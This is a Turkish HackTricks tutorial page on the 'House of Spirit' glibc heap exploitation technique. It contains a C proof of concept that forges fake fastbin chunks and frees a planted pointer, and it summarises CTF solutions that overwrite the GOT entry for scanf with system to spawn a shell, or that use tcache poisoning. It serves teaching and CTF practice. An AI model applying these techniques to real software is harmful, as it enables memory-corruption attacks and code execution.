House of Spirit

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Kod

House of Spirit
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];               // chunk falls in fastbin size range
};

int main() {
struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30);
printf("Victim: %p\n", victim);

return 0;
}

Hedef

  • tcache / fast bin'e bir adres ekleyebilmek, böylece daha sonra onu tahsis etmek mümkün olsun.

Gereksinimler

  • Bu saldırı, bir saldırganın doğru boyut değerini belirten birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakabilmesini gerektirir, böylece bu parça bin'e girebilir.

Saldırı

  • Güvenlik kontrollerini aşan sahte parçalar oluşturun: temelde doğru pozisyonlarda doğru boyutları belirten 2 sahte parçaya ihtiyacınız olacak.
  • İlk sahte parçayı serbest bırakmayı başarmak, böylece fast veya tcache bin'e girmesini sağlamak ve ardından o adresi üzerine yazmak için tahsis etmek.

guyinatuxedo'dan alınan kod, saldırıyı anlamak için harikadır.** Kodun bu şeması, durumu oldukça iyi özetliyor:

c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

note

İkinci parçayı oluşturmanın bazı mantık kontrollerini atlamak için gerekli olduğunu unutmayın.

Örnekler

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Bir taşma aracılığıyla, bir işaretçiyi bir GOT adresine işaret edecek şekilde değiştirmek mümkündür, böylece CTF'nin okuma eylemi aracılığıyla bir libc adresi sızdırılabilir.

  • House of Spirit: "Tüfek" sayısını sayan bir sayacı kötüye kullanarak, ilk sahte parçanın sahte boyutunu oluşturmak mümkündür, ardından bir "mesaj"ı kötüye kullanarak bir parçanın ikinci boyutunu sahtelemek ve nihayetinde bir taşmayı kötüye kullanarak serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Sonra, bunu tahsis edebiliriz ve içinde "mesaj"ın saklandığı adres olacak. Ardından, bunun GOT tablosundaki scanf girişine işaret etmesi mümkündür, böylece bunu sistemin adresi ile üzerine yazabiliriz.
    Bir sonraki scanf çağrıldığında, girdi olarak "/bin/sh" gönderebiliriz ve bir shell alabiliriz.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Başlatılmamış yığın tamponu.

  • House of Spirit: Bir yığın işaretçileri kümesinin ilk indeksini değiştirebiliriz. Tek bir bayt değişikliği ile, geçerli bir parçanın içinde sahte bir parçayı free ile kullanarak, tekrar tahsis ettikten sonra üst üste binen parçalar durumu elde ederiz. Bununla, basit bir Tcache zehirleme saldırısı, keyfi bir yazma ilkesini elde etmek için çalışır.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin